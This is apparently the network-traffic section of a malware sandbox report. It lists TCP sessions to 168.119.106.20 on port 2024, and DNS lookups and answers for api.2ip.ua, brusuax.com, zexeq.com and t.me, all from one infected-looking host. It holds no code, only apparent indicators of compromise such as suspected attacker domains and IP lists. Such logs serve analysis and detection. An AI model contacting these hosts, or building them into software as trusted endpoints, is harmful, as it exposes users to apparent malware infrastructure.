Jan 9, 2024 15:46:51.570013046 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570013046 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570024967 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570038080 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570053101 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570060015 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570066929 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570080996 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570082903 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570094109 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570106983 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570110083 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570123911 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570127964 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570138931 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570151091 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570158005 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570163965 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570173979 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570178032 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570192099 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570195913 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570204973 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570210934 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570219994 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570231915 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570235014 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570246935 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570255041 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570262909 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570276976 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570297956 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570297956 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570324898 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570364952 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570364952 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570427895 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570441008 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570509911 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570509911 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570631981 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570667982 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570674896 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570715904 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570856094 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570871115 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570882082 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570904016 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570915937 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.570986986 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.571010113 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.571023941 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.571044922 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.571190119 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.571235895 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.571235895 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.571310043 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.571343899 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.571367979 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.571485043 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.571499109 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.571512938 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.571543932 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.571543932 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.571614027 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.571626902 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.571778059 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.571911097 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572015047 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572052956 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572067976 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572096109 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572237015 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572248936 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572280884 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572455883 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572484970 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572496891 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572500944 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572520971 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572540045 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572540045 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572637081 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572717905 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572747946 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572782993 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572808027 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572855949 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.572953939 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572967052 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.572978973 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.573002100 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.573065996 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.573271990 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.573286057 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.573321104 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.573391914 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.573410034 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.573426008 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.573450089 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.573492050 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.634455919 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.635988951 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.823259115 CET	2024	49724	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.823337078 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.824592113 CET	2024	49726	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.824683905 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.825089931 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:52.013468027 CET	2024	49726	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:52.013700008 CET	2024	49726	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:52.013792992 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:52.014760017 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:52.023108959 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:52.023144960 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:52.211885929 CET	2024	49726	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:52.664386988 CET	2024	49726	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:52.665827036 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:52.830414057 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:52.831123114 CET	49727	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:53.019226074 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:53.019273996 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:53.019412994 CET	2024	49727	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:53.019484043 CET	49727	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:53.019922972 CET	49727	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:53.208429098 CET	2024	49727	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:53.208682060 CET	2024	49727	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:53.208751917 CET	49727	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:53.209212065 CET	49727	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:53.212682962 CET	49727	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:53.401381016 CET	2024	49727	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:53.856798887 CET	2024	49727	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:53.857834101 CET	49727	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:54.203879118 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:54.204715014 CET	49728	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:54.392710924 CET	2024	49726	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:54.392793894 CET	49726	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:54.392934084 CET	2024	49728	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:54.393009901 CET	49728	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:54.393456936 CET	49728	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:54.581785917 CET	2024	49728	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:54.581963062 CET	2024	49728	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:54.582015991 CET	49728	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:54.583614111 CET	49728	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:54.586267948 CET	49728	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:54.774770021 CET	2024	49728	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:55.192044973 CET	2024	49728	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:55.192116022 CET	49728	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:55.584875107 CET	49727	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:55.585592985 CET	49730	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:55.773966074 CET	2024	49730	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:55.773991108 CET	2024	49727	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:55.774090052 CET	49727	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:55.774107933 CET	49730	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:55.774549007 CET	49730	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:55.962805986 CET	2024	49730	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:55.963115931 CET	2024	49730	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:55.963191032 CET	49730	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:55.963629007 CET	49730	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:55.965884924 CET	49730	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:55.970164061 CET	49731	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.154691935 CET	2024	49730	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.155081034 CET	49730	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.158741951 CET	2024	49731	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.158845901 CET	49731	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.165019989 CET	49731	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.353764057 CET	2024	49731	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.353997946 CET	2024	49731	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.354055882 CET	49731	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.354619026 CET	49731	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.357058048 CET	49731	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.359654903 CET	49732	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.547985077 CET	2024	49731	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.549875021 CET	49731	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.553922892 CET	2024	49732	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.557849884 CET	49732	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.558301926 CET	49732	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.746813059 CET	2024	49732	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.747308016 CET	2024	49732	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.747380972 CET	49732	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.751328945 CET	49732	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.753539085 CET	49732	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.755903006 CET	49733	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.942137003 CET	2024	49732	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.942204952 CET	49732	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.944515944 CET	2024	49733	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:56.944634914 CET	49733	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:56.945291996 CET	49733	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.134033918 CET	2024	49733	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.134080887 CET	2024	49733	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.134382010 CET	49733	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.134831905 CET	49733	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.138395071 CET	49733	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.140410900 CET	49734	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.327851057 CET	2024	49733	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.327919006 CET	49733	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.329826117 CET	2024	49734	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.329901934 CET	49734	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.330401897 CET	49734	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.521193981 CET	2024	49734	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.521218061 CET	2024	49734	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.521462917 CET	49734	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.543081999 CET	49734	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.545212984 CET	49734	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.548079967 CET	49735	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.733908892 CET	2024	49734	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.736490965 CET	2024	49735	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.736581087 CET	49734	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.736635923 CET	49735	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.737112999 CET	49735	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.925523996 CET	2024	49735	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.925667048 CET	2024	49735	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:57.925720930 CET	49735	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.926213980 CET	49735	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:57.928457975 CET	49735	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:58.117183924 CET	2024	49735	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:58.117264032 CET	49735	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:48:05.208885908 CET	2024	49728	168.119.106.20	192.168.2.10
Jan 9, 2024 15:48:05.208905935 CET	2024	49728	168.119.106.20	192.168.2.10
Jan 9, 2024 15:48:05.208946943 CET	49728	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:48:05.208990097 CET	49728	2024	192.168.2.10	168.119.106.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2024 15:46:01.622582912 CET	49949	53	192.168.2.10	1.1.1.1
Jan 9, 2024 15:46:01.804281950 CET	53	49949	1.1.1.1	192.168.2.10
Jan 9, 2024 15:46:07.129158020 CET	61032	53	192.168.2.10	1.1.1.1
Jan 9, 2024 15:46:07.133948088 CET	64104	53	192.168.2.10	1.1.1.1
Jan 9, 2024 15:46:08.135138035 CET	64104	53	192.168.2.10	1.1.1.1
Jan 9, 2024 15:46:08.135166883 CET	61032	53	192.168.2.10	1.1.1.1
Jan 9, 2024 15:46:09.150804996 CET	61032	53	192.168.2.10	1.1.1.1
Jan 9, 2024 15:46:09.150834084 CET	64104	53	192.168.2.10	1.1.1.1
Jan 9, 2024 15:46:09.580369949 CET	53	61032	1.1.1.1	192.168.2.10
Jan 9, 2024 15:46:09.580399036 CET	53	61032	1.1.1.1	192.168.2.10
Jan 9, 2024 15:46:09.580713034 CET	53	61032	1.1.1.1	192.168.2.10
Jan 9, 2024 15:46:11.166908979 CET	64104	53	192.168.2.10	1.1.1.1
Jan 9, 2024 15:46:11.219707966 CET	53	64104	1.1.1.1	192.168.2.10
Jan 9, 2024 15:46:11.219733000 CET	53	64104	1.1.1.1	192.168.2.10
Jan 9, 2024 15:46:11.219877958 CET	53	64104	1.1.1.1	192.168.2.10
Jan 9, 2024 15:46:11.261758089 CET	53	64104	1.1.1.1	192.168.2.10
Jan 9, 2024 15:46:41.905817986 CET	53075	53	192.168.2.10	1.1.1.1
Jan 9, 2024 15:46:42.010040998 CET	53	53075	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2024 15:46:01.622582912 CET	192.168.2.10	1.1.1.1	0xdd37	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:07.129158020 CET	192.168.2.10	1.1.1.1	0x328b	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:07.133948088 CET	192.168.2.10	1.1.1.1	0x1a2f	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:08.135138035 CET	192.168.2.10	1.1.1.1	0x1a2f	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:08.135166883 CET	192.168.2.10	1.1.1.1	0x328b	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.150804996 CET	192.168.2.10	1.1.1.1	0x328b	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.150834084 CET	192.168.2.10	1.1.1.1	0x1a2f	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.166908979 CET	192.168.2.10	1.1.1.1	0x1a2f	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:41.905817986 CET	192.168.2.10	1.1.1.1	0x1aa0	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 9, 2024 15:46:01.804281950 CET	1.1.1.1	192.168.2.10	0xdd37	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:01.804281950 CET	1.1.1.1	192.168.2.10	0xdd37	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	187.211.34.211	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	185.12.79.25	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	169.148.114.73	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	181.197.76.238	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	14.33.209.147	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	187.204.88.251	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580369949 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	187.211.34.211	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	185.12.79.25	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	169.148.114.73	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	181.197.76.238	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	14.33.209.147	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	187.204.88.251	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580399036 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	187.211.34.211	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	185.12.79.25	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	169.148.114.73	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	181.197.76.238	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	14.33.209.147	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	187.204.88.251	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:09.580713034 CET	1.1.1.1	192.168.2.10	0x328b	No error (0)	brusuax.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	186.182.55.44	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	187.140.17.135	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	175.126.109.15	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	190.219.136.87	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.168.53.110	A (IP address)	IN (0x0001)	false
